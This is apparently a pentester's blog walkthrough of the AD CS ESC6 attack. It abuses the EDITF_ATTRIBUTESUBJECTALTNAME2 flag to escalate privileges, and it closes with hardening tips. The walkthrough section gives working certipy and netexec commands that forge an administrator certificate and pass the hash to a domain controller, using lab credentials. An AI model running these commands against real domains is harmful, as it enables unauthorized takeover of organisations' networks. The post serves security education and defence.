Active Directory Certificate Attack (ADCS – ESC6)

ADCS Part VIIntroduction

In PART 5 of this ADCS series, we provided an overview of Active Directory Certificate Services (AD CS) and demonstrated the ESC5 escalation technique with Golden Certificate Attack. This blog will specifically focus on the security implications of a misconfigured EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA Server. Threat Actors can exploit improper configurations of this flag to compromise the Public Key Infrastructure (PKI) and escalate their privileges within the domain.

Video Walkthrough

Prerequisites – ESC6 Attack

The ESC6 is a post-exploitation attack that can only be performed once a threat actor gains access to a domain user (e.g., SHIELD\pcoulson in our case). The following are the requirements.

  • Low Privileged Domain User (pcoulson)
  • Certipy
  • netexec

ESC6 – Walkthrough

The EDITF_ATTRIBUTESUBJECTALTNAME2 flag enables the addition of custom values in a certificate’s Subject Alternative Name (SAN) field, even when the subject is created from Active Directory. When enabled on a Certificate Authority (CA), this flag can allow malicious individuals to misuse certificate templates that permit domain authentication. By specifying random Subject Alternative Names (SANs), attackers could potentially authenticate as any user, including domain administrators, which poses a serious security threat.

In summary, if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on a Certificate Authority Server (CA), any template with client authentication enabled is vulnerable to an ESC1 attack and can be used to request a certificate with a user-defined Subject Alternative Name (SAN).

certipy find -dc-ip -u pcoulson -p 'P4ssw0rd123456@'
cat 20240615122024_Certipy.txt
certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson -p 'P4ssw0rd123456@' -template User -target DC4.shield.local -upn administrator@shield.local
certipy auth -pfx administrator.pfx
netexec smb -u administrator -H aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50 -x whoami

Gaining Access to DC via Pass-The-Hash Technique

Please refer to one of our previous ADCS attacks for more detailed information on gaining access via the Pass-The-Hash Technique.

Gaining Access to DC using a TGT Ticket

We need to obtain the administrator.pfx file, which can be acquired by executing the below command.

certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.LOCAL -upn 'administrator@shield.local'

Please refer to one of our previous ADCS attacks for more detailed information on gaining access using TGT Ticket.


It has been acknowledged that Active Directory Certificate Services (AD CS) plays a pivotal role in organizational security. However, its effectiveness heavily relies on getting the configuration spot on, which leaves it vulnerable to various risks, like unauthorized access and privilege escalation within the domain. Attackers can exploit improper configuration of the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to compromise the Public Key Infrastructure (PKI) and escalate their privileges within the domain.

Regular penetration tests or adversary emulation assessments are necessary to combat these threats and beef up AD CS security. These tests ensure that security measures and configurations remain solid against evolving threats. While AD CS security is complex, we aim to provide clear guidance to navigate and protect this vital part of security infrastructure.

Here are some basic steps to shore up your AD CS security:

  • Check Certificate Templates: Look at all active certificates and deactivate unused ones.
  • Tighten Template Permissions: Be strict about who can access certificate templates, giving permissions only to those who need them. Also, keep a close eye on enrollment permissions.
  • Require Manual Approval: Set up “Issuance Requirements” to ensure someone has to manually approve all certificate issuances, adding an extra layer of security.
  • Stick to the Least Privilege Principle: Give people access only to what they absolutely need.
  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References


  • Asif Khan

    Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Share the Post:

Subscribe To Our Blog